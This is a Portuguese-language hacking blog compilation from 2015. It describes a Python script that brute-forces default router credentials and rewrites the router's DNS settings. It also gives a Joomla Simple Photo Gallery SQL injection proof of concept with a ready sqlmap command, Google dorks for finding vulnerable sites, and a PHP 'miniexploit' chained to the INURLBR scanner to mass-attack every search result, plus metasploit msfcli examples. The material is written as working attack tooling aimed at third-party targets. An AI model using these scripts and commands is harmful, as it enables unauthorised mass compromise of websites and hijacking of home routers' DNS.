Então desenvolvi um mini scanner em python, que realiza um pequeno bruteforce com usuários e senhas padrões definidos dentro do código e depois de encontrado usuário e senha ele envia um request get realizando a alteração dos DNS.

Então montei um mini scanner em python, que realiza um pequeno bruteforce com usuários e senhas padrões definidos dentro do código e depois de encontrado usuário e senha ele envia um request get realizando a alteração dos DNS.

Execução: 
  • root@jh00n:~/Desktop/codes# python xpl.py <IP>
  • [Aqui você será definido o ip do roteador]
  Retorno:

  • [ + ] DNS changed sucess in: 127.0.0.1 | user@password

[ + ] DNS changed sucess in: 127.0.0.1 | user@password
  • Em caso de sucesso o return "DNS changed sucess in: IP | user@password"
[ DEMO ] 

SCRIPT DOWNLOAD :
https://github.com/jh00nbr/xplDSLink260E/blob/master/xpl.py

 

MINI EXPLOIT: Joomla Simple Photo Gallery - SQL injection + VIDEO

Usando miniexploit para explorar em massa vários alvos.

Usando miniexploit para explorar em massa vários alvos. Title: Joomla Simple Photo Gallery - SQL injection Date : 13-03-2015 Vendor Homepage: https://www.apptha.com/ Source Plugin: https://www.apptha.com/category/extension/joomla/simple-photo-gallery Version : 1 Tested on : sqlmap

Title: Joomla Simple Photo Gallery - SQL injection
Date : 13-03-2015
Vendor Homepage: https://www.apptha.com/
Source Plugin: https://www.apptha.com/category/extension/joomla/simple-photo-gallery
Version : 1
Tested on : sqlmap

POC:
http://{$target}/index.php?option=com_simplephotogallery&view=images&albumid=[SQLI]

Comando SQLMAP de exploração:
sqlmap  -u '{$target}/index.php?option=com_simplephotogallery&view=images&albumid=1' -p albumid --batch --dbms=MySQL --proxy 'http://localhost:8118' --random-agent --level 2 --risk 1 --eta --answers='follow=N' --dbs --is-dba

DORK de pesquisa:
Dork Google 1: inurl:/com_simplephotogallery site:com
Dork Google 2: inurl:/com_simplephotogallery site:org
Dork Google 3: inurl:/com_simplephotogallery site:fr
Dork Google 4: inurl:/com_simplephotogallery/


Agora vamos organizar nosso comando INURLBR  para executar nosso miniexploit.php
Primeiro vamos organizar o parâmetro --dork que captura seu filtro de busca.

 --dork Defines which dork the search engine will use.
     Example: --dork {dork}
     Usage:   --dork 'site:.gov.br inurl:php? id'
     - Using multiples dorks:
     Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3}
     Usage:   --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'
Parâmetro organizado:
--dork '[DORK]inurl:/com_simplephotogallery site:com[DORK]inurl:/com_simplephotogal lery site:org[DORK]inurl:/com_simplephotogallery site:fr[DORK]inurl:/com_simplephotogallery/'

Baixar MINI exploit-SQLMAP / Joomla Simple Photo Gallery 1.0 - SQL injection: 
http://pastebin.com/Gb5uhPKW
File: miniexploit.php

Baixar scanner INURLBR 1.0:
https://github.com/googleinurl/SCANNER-INURLBR
File: inurlbr.php


Executando:
./inurlbr.php --dork '[DORK]inurl:/com_simplephotogallery site:com[DORK]inurl:/com_simplephotogal lery site:org[DORK]inurl:/com_simplephotogallery site:fr[DORK]inurl:/com_simplephotogallery/' -s save.txt -q 1,6 --command-all "php miniexploit2.php '_TARGET_'"

segunda-feira, 16 de março de 2015

Desenvolvendo Mini exploits, otimizando seu tempo.

Vamos otimizar nosso tempo criando mini exploits.

mini exploits defino da seguinte forma: É um conjunto de comandos que possibilita execução de varias rotinas, assim poupando tempo. A não ser que queira toda vez digitar sempre os mesmos parâmetros.
Criaremos um mini exploit que vamos usar junto ao SCANNER INURLBR, mas antes você deve entender os parâmetros especiais do scanner INURLBR que usaremos.
  1. _TARGET_ é um parâmetro especial que passando para que seja substituído pelo domínio do nosso alvo.
  2. _TARGETFULL_ é um parâmetro especial que passando para que seja substituído pela URL inteira do nosso alvo.
Mais detalhes:
https://github.com/googleinurl/SCANNER-INURLBR#---definindo-comando-externo

Tais parâmetros são usados nos comandos de execução em terminal.
  • Comando --comand-vul {comando_terminal}--comand-vul Executa comandos no terminal para cada URL encontrada vulnerável.
  • Comando --comand-all {comando_terminal}--comand-all Executa comandos no terminal para todas URL's encontradas.
Ex:
Logica de uso:

O scanner INURLBR filtra os resultados dos motores de busca em seguida executando comandos no terminal através dos parâmetros --comands all & vul.

Com tal logica em mente agora podemos criar um mini exploit para executar o SQLMAP em ataques de sql injection, seja ele remoto ou localhost.

1 - Criaremos um miniexploit.php
2 - Agora vamos inserir nossa programação que captura o alvo e toma as devidas rotinas necessárias.

<?php

#COMENTÁRIO:  printando na tela uma mensagem.
echo "[+]  MINI exploit-SQLMAP\n"; 
#COMENTÁRIO: capturando o primeiro parâmetro passado para nosso script.
$target = $argv[1]; 
#COMENTÁRIO: comando sqlmap pronto agora vamos concatenar nosso alvo ao comando.
$command = "sqlmap -u '{$target}' --batch --random-agent --level 2 --risk 1  --answers='follow=N'";
#COMENTÁRIO: agora vamos usar function nativa do php para executar o SQLMAP contra nosso alvo.
system($command, $dados).empty($dados[0]) ? exit() : NULL;


?>


Executando nosso script:
php miniexploit.php http://www.target.com.br

Com nosso exploit funcionando agora vamos vincular com scanner INURLBR.
Comando INURLBR:
Se deseja usar filtro em motores de busca:
ex: php inurlbr.php --dork 'SUA_DORK' -s salvar.txt -q 1,6  --comand-all "php  miniexploit.php '_TARGETFULL_'"

Execução:
Comando INURLBR: Se deseja usar filtro em motores de busca: ex: php inurlbr.php --dork 'SUA_DORK' -s salvar.txt -q 1,6  --comand-all "php  miniexploit.php '_TARGETFULL_'"  Execução:
Comando executado:
./inurlbr.php --dork 'inurl:php site:.br inurl:(id|pag|new|abir|open|acess) & "Warning: "' -s save.txt -q 1,6 --command-all "php miniexploit.php '_TARGETFULL_'"

Tal logica pode ser usada para executar mais de um comando ou exploit especifico:
Exemplo em código PHP:
$target = $argv[1]; 
$command = "nmap -sV -p 22,80,21 {$target}";
system($command$dados);
$command = "nikto -h {$target}";
system($command$dados).empty($dados[0]) ? exit() : NULL;


Exemplo usando msfcli do metasploit  - Hunting For MSSQL:
$target = $argv[1]; 
$command = "msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS={$target} E";
system($command$dados).empty($dados[0]) ? exit() : NULL;

Resultado é semelhante a isso:
[*] SQL Server information for $target:
[*] tcp = 1433
[*] np = SSHACKTHISBOX-0pipesqlquery
[*] Version = 8.00.194
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = SSHACKTHISBOX-0
[*] Auxiliary module execution completed


Vídeo aula criando um script em Bash pra otimizar um ataque junto ao msfcli.


BAIXAR SCRIPT SCANNER INURLBR


REF'S:
hunting for MSSQL

msfcli-basics tutorial

msfcli provides a powerful command-line interface to the framework.